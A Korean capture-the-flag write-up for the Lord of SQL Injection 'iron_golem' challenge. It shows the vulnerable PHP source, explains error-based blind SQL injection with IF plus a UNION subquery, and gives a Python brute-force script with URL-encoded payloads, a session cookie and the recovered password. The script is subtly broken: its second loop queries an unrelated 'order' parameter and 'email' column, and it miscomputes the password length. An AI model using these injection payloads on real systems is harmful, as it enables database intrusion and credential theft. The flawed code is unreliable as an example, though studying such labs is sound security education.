[LOS] 21. Iron_Golem

힌트

  • Error-based SQL Injection 찾아보기
  • 서브 쿼리는 한 개의 상의 레코드를 반환해서는 안 된다.
  • union에 관해 찾아보기
  • if절 사용법 찾아보기

풀이

코드 해석

<?php
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe");
  $query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit(mysqli_error($db));
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem");
  highlight_file(__FILE__);
?>

문제의 소스 코드를 보면 블라인드 인젝션 공격을 수행해야 한다는 것을 알 수 있다. 하지만 기존에 참/거짓을 판별할 때 이용하던 if($result['id']) echo "<h2>Hello {$result[id]}";
쿼리 문이 존재하지 않는다.
하지만 그 대신 처음 보는 쿼리 문이 한가지 존재한다. 바로 if(mysqli_error($db)) exit(mysqli_error($db));
이것인데 쿼리문에 에러가 발생하면 DB에서 탈출하고 오류를 뿜어주는 쿼리문이다.

이 새로운 부분을 이용하여 참/거짓에 따라 오류의 반응을 보고 판단하는 기법인 Error-based SQL Injection을 시도 할 수 있다.

문제 풀이

Error-based SQL Injection

Error-based SQL Injection은 참일 때와 거짓일 때 상황에 따라 오류가 출력되는 형태를 이용하여 참/거짓 판단을 하는 형태의 공격이다.
기존 블라인드 인젝션에서는 공격 후 <h2>hello admin와 같이 쿼리문에서 오는 반응을 토대로 참/거짓 판단이 가능했다.
이번 문제에서 내가 보낸 쿼리에 반응을 보이는 부분은 에러를 출력하는 부분 한 군데 있다.

MySQL에 존재하는 if문을 사용하여 참일시 쿼리에 정상 구문을 삽입해 페이지를 정상 작동시키고 거짓일시 오류 구문을 삽입하여 페이지의 오류 페이지를 띄우는 방식으로 참/거짓 판단이 가능할 거 같다.

그렇다면 오류를 강제로 띄우려면 무슨 구문을 입력해야 하는지
생각해볼 필요가 있다.
힌트 2번을 풀어 설명하면 서브 쿼리는 쿼리문 안에 들어가 있는 또 다른 쿼리문을 부르는 말이다. 이러한 서브 쿼리도 쿼리문이기때문에 결과가 나오는데 이 결과는 무조건 1개의 레코드만을 포함하고 있어야 한다.
만약 서브쿼리에서 2개 이상의 레코드 반환 시

[21000][1242] Subquery returns more than 1 row

이러한 오류가 발생하게 된다. 앞으로 많이 볼 오류니까 친숙해지자.

그럼 또 문제가 생긴다. 서브 쿼리에서 레코드를 2개 이상 출력 해야 하는 것은 알겠는데 도대체 어떻게 해야지 서브쿼리에서 2개 이상의 레코드를 반환하는지 말이다. union을 사용하면 된다.
union은 2개 이상의 select문의 결과를 합집합 느낌으로 한 개의 테이블로 반환할 때 사용한다. (select는 중복 거르고 select all은 중복을 거르지 않음)
select 1을 하면 1이라는 컬럼에 1이라는 값을 가진 레코드가 한 개 반환된다.
이를 응용하면 드디어 문제를 풀 수 있다.

솔직히 문제 풀기 전에 위에 말했던 서브쿼리나 if절을 개인적으로 가지고 있는 db에 연습을 많이 해봐서 느낌을 아는 게 매우 중요하다. 안 그러면 다음 문제에서 다시 고생해야 한다.

어쨌든 위에서 말한 것을 기반으로 블라인드 SQL 인젝션을 위한 스크립트를 짜보았다.

# -*- coding: utf-8 -*-
import urllib.request

answer = ""
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
session_id = "PHPSESSID="+"5u84grpvs4dd5tsgg6st4q4kse"

url_start = "https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php"+'?'
pw_len = 0
word_len = 0

while 1:
    pw_len += 1
    url_len = url_start + "pw=%27||id=%27admin%27%26%26if(length(pw)={},1,(select%201%20union%20select%202))%23".format(str(pw_len))


    req_len = urllib.request.Request(url_len)  # 엔터 치기전 상태
    req_len.add_header('User-agent', user_agent)  # 헤더값 설정(los가 뱉어냄)
    req_len.add_header("Cookie", session_id)

    res_len = urllib.request.urlopen(req_len)  # 엔터누른 효과
    data_len = res_len.read().decode('utf-8')  # 본문만 가져오기


    if data_len.find("<hr>query : ") != -1:
        print(pw_len)
        break

while 1:
    word_len += 1
    url_word = url_start + "order=(select%20(power(10,100000000))%20where%20(id=%27admin%27%20and%20length(mid(email,1,1))={}))".format(str(word_len))
    print(word_len)

    req_word = urllib.request.Request(url_word)  # 엔터 치기전 상태
    req_word.add_header('User-agent', user_agent)  # 헤더값 설정(los가 뱉어냄)
    req_word.add_header("Cookie", session_id)

    res_word = urllib.request.urlopen(req_word)  # 엔터누른 효과
    data_word = res_word.read().decode('utf-8')  # 본문만 가져오기


    if data_word.find("<hr>query : ") != -1:
        print(word_len)
        break
password_len = int(pw_len/word_len)

print(print('비밀번호 글자 수 : {}\n'.format(password_len)))

for i in range(1, password_len+1):
    for j in range(27, 123):

        url_pw = url_start+"pw=%27||id=%27admin%27%26%26if(ord(mid(pw,{},1))={},1,(select%201%20union%20select%202))%23".format(str(i), str(j))

        print(url_pw)

        req_pw = urllib.request.Request(url_pw)  # 엔터 치기전 상태
        req_pw.add_header('User-agent', user_agent)  # 헤더값 설정(los가 뱉어냄)
        req_pw.add_header("Cookie", session_id)

        res_pw = urllib.request.urlopen(req_pw)  # 엔터누른 효과
        data_pw = res_pw.read().decode('utf-8')  # 본문만 가져오기

        if data_pw.find("<hr>query : ") != -1:
            print("%c" % (chr(j)))
            answer += chr(j)
            break
print(answer)

스크립트를 실행해보면 비밀번호는 06b5a6c16e8830475f983cc3a825ee9a이 나온다.

아마 길어서 오래 걸릴거다.
나중에 시간나면 이진탐색으로 업그레이드 하겠지.

https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw=06b5a6c16e8830475f983cc3a825ee9a

좋은 웹페이지 즐겨찾기